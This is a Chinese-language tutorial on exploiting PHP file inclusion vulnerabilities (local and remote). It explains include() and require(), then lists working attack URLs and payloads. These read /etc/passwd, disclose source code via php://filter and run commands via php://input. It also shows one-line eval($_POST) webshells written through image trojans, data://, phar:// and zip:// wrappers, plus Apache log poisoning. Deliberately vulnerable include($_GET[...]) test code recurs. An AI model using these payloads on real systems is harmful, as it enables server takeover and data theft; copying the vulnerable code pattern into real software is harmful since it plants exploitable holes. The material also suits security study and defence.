一、文件包含是什麼?
文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指當服務器開啓allow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。
攻擊者利用了包含的特性,再加上了應用本身對文件控制不嚴,對include進來的文件不可控,最終造成了攻擊者進行任意文件包含。包含進來的文件都以當前腳本文件解析,比如,我們當前測試系統是Apache加php環境,那麼被include進來的文件,不管是什麼類型,比如說圖片,文本文檔,這些文件被包含以後,都會被當做php腳本來解析
二、本地文件包含(LFI)和遠程文件包含(RFI)
本地文件包含 當被包含的文件在服務器本地時,就形成本地文件包含;
遠程文件包含 當被包含的文件在第三方服務器時,叫做遠程文件包含
該漏洞涉及到php常見包含文件函數包括:
include()
當使用該函數包含文件時,只有代碼執行到include()函數時纔將文件包含進來,發生錯誤時只給出一個警告,繼續向下執行
include_once()
功能和include()相同,區別在於當重複調用同一文件時,程序只調用一次
require()
require()與include()的區別在於require()執行如果發生錯誤,函數會輸出錯誤信息,並終止腳本的運行 。使用require()函數包含文件時,只要程序一執行,立即調用文件,而include()只有程序執行到函數時才調用 .require()在php程序執行前執行,會先讀入 require 所指定引入的文件,使它變成 PHP 程序網頁的一部份。
require_once()
它的功能與require()相同,區別在於當重複調用同一文件時,程序只調用一次
三、文件包含利用
1.讀取敏感文件
訪問URL:http://www.test.com/index.php?page=/etc/passwd
如果目標主機文件存在,並且有相應的權限,那麼就可以讀出文件的內容。反之,就會得到一個類似於;open_basedir restriction in effect的警告。
2.遠程包含Shell
如果目標主機allow_url_fopen選項是激活的,就可以嘗試遠程包含一句話木馬, 如:http://www.test.com/echo.txt,
代碼如下:
<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[yale]);?>");?>
<?php eval($_POST[xxser]);?>
3.本地包含配合文件上傳
假設已經上傳一句話圖片木馬到服務器,路徑爲:/uploadfile/xxx.jpg
圖片代碼如下:
<?php fputs(fopen("shell.php","w"),"<?php eval($_POSTyale]);?>");?>
訪問URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg,包含這張圖片,將會在index.php所在的目錄下生成shell.php。
4.使用PHP封裝協議
4.1 使用封裝協議讀取PHP文件
例子如下:http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php
訪問URL,得到經過Base64加密後的字符串,這段代碼就是Base64加密過後的PHP源代碼,解密後就可得到原本的“樣貌”。
4.2 寫入PHP文件
在allow_url_include爲On時,構造URL:http://www.example.com/index.php?page=php://input,並且提交數據爲:
<?php system('net user');?>
會得到net user命令的結果。
如果POST的數據是執行寫入一句話木馬的PHP代碼,就會在當前目錄下寫入一個木馬。
條件:php配置文件中需同時開啓 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代碼執行,在這可以理解成遠程文件包含漏洞(RFI),即POST過去PHP代碼,即可執行;
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
data://僞協議
數據流封裝器,和php://相似都是利用了流的概念,將原本的include的文件流重定向到了用戶可控制的輸入流中,簡單來說就是執行文件的包含方法包含了你的輸入流,通過你輸入payload來實現目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4
data://(讀取文件)
和php僞協議的input類似,碰到file_get_contents()來用; <?php // 打印 “I love PHP” echo file_get_contents(‘data://text/plain;base64,SSBsb3ZlIFBIUAo=’); ?>
注意:<?php phpinfo();,這類執行代碼最後沒有?>閉合;
如果php.ini裏的allow_url_include=On(PHP < 5.3.0),就可以造成任意代碼執行,同理在這就可以理解成遠程文件包含漏洞(RFI) 測試代碼:
<?php
$filename = $_GET['filename'];
include($filename);
?>
phar://僞協議
這個參數是就是php解壓縮包的一個函數,不管後綴是什麼,都會當做壓縮包來解壓。
用法:?file=phar://壓縮包/內部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 壓縮包需要是zip協議壓縮,rar不行,將木馬文件壓縮後,改爲其他任意格式的文件都可以正常使用。 步驟: 寫一個一句話木馬文件shell.php,然後用zip協議壓縮爲shell.zip,然後將後綴改爲png等其他格式。
測試代碼:
<?php
$filename = $_GET['filename'];
include($filename);
?>
zip://僞協議
zip僞協議和phar協議類似,但是用法不一樣。
用法:?file=zip://[壓縮文件絕對路徑]#[壓縮文件內的子文件名] zip://xxx.png#shell.php。
條件: PHP > =5.3.0,注意在windows下測試要5.3.0<PHP<5.4 纔可以 #在瀏覽器中要編碼爲%23,否則瀏覽器默認不會傳輸特殊字符。
測試代碼:
<?php
$filename = $_GET['filename'];
include($filename);
?>
5.包含Apache日誌文件
Apache有兩個日誌文件:access.log(訪問日誌)和error.log(錯誤日誌)。
攻擊者先訪問http://www.example.com/<?php phpinfo();?>,
操作這一步時,需要使用Burp抓包改包,否則<,>,空格都會被轉碼。
隨後訪問http://www.test.com/index.php?page=./…/Apache-20/logs/access.log,使用這種方式時,找到Apache的路徑是關鍵。
6.截斷包含
<?php
if(isset($_GET['page'])){
include $_GET['page'].".php";
}else{
include 'home.php';
}
?>
如果此時存在一個圖片木馬,名爲1.jpg,
可以輸入如下URL:http://www.example.com/index.php?page=1.jpg
當然這種方法只適用於magic_quotes_gpc=Off的情況下。
更多文章:
https://blog.csdn.net/qq_33020901/article/details/82684483
http://wiki.wooyun.org/web:lfi
PHP文件包含漏洞總結: http://drops.wooyun.org/tips/3827
文件包含與注入利用總結: https://www.91ri.org/2736.html
php://input,php://filter,data URI schema的那些事:
https://www.91ri.org/7470.htmlphar協議: https://www.91ri.org/13363.html
論PHP常見的漏洞: http://drops.wooyun.org/papers/4544
LFI WITH PHPINFO() ASSISTANCE:
https://www.insomniasec.com/downloads/publications/LFI With PHPInfo Assistance.pdfPHP_LFI_rfc1867_temporary_files:
http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdfzip或phar協議包含文件
http://bl4ck.in/index.php/tricks/use-zip-or-phar-to-include-file.html